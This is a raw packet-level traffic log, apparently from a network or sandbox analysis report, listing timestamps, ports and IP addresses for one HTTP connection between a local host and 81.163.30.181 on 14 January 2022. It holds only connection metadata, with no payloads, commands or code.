Jan 14, 2022 20:29:55.870187998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870225906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870228052 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870251894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870277882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870282888 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870320082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870351076 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870383024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870415926 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870440960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870452881 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870479107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870481968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870521069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870533943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870562077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870577097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870609045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870646954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870649099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870685101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870696068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870718002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870723963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870764017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870794058 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870805025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870816946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870842934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870874882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870883942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870889902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870924950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870938063 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.870964050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.870985985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871002913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871006012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871045113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871047020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871084929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871088028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871114969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871153116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871154070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871165037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871193886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871205091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871233940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871236086 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871272087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871310949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871313095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871349096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871388912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871388912 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871428967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871467113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871470928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871507883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871547937 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871551037 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871586084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871625900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871628046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871665001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871706009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871705055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871747017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871786118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871787071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871826887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871865988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871867895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871905088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871946096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871965885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.871984005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.871987104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872023106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872024059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872062922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872073889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872100115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872113943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872138977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872139931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872178078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872180939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872217894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872219086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872258902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872261047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872299910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872299910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872339010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872339964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872380018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872417927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872422934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872451067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872457027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872494936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872508049 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872533083 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872559071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872567892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872571945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872612000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872638941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872653008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872658968 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872694969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872723103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872733116 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872750998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872771025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872772932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872812986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872812986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872853041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872895956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872915030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872955084 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.872993946 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.872993946 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873022079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873034954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873038054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873073101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873084068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873111010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873111963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873152018 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873157024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873188972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873228073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873230934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873267889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873281956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873307943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873311996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873347998 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873384953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873392105 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873425007 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873425007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873464108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873466015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873502970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873543024 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873548985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873578072 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873581886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873621941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873662949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873662949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873699903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873739958 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873742104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873779058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873816967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873819113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873874903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873876095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873915911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873917103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873954058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.873991966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.873995066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874036074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874073982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874074936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874102116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874111891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874115944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874150991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874157906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874188900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874228954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874229908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874269009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874309063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874310017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874350071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874388933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874389887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874428988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874469042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874469995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.874505997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874546051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.874547005 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.875971079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.927862883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.927928925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932409048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932475090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932534933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932535887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932596922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932640076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932655096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932704926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932744980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932748079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932796001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932837009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932838917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932895899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.932919025 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932949066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.932955027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933012962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933058023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933063984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933120012 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933168888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933180094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933270931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933299065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933314085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933336020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933361053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933422089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933465004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933482885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933533907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933574915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933577061 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933623075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933660984 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933682919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933726072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933763027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933767080 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933801889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933841944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933841944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.933938980 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933985949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.933989048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934026003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934026003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934076071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934120893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934137106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934197903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934242964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934257984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934319973 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934361935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934379101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934427023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934468985 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934468985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934506893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934545994 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934547901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934585094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934626102 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934626102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934668064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934705019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934708118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934745073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934783936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934784889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934824944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934868097 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.934884071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934928894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934968948 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.934976101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935009956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935048103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935050011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935087919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935127020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935127974 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935165882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935220957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935221910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935261011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935298920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935302019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935338974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935379028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935379982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935417891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935458899 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935457945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935497046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935537100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935538054 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935575962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935615063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935619116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935653925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935694933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935695887 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935735941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935776949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935796976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935816050 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935817003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935856104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935856104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935897112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935897112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.935935020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935976028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.935981035 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936013937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936014891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936053991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936054945 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936095953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936134100 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936140060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936170101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936173916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936213970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936216116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936253071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936291933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936297894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936326981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936331034 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936371088 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936412096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936417103 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936455011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936455011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936481953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936496973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936522007 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:55.936522961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:55.936563015 CET	80	49882	81.163.30.181	192.168.2.4
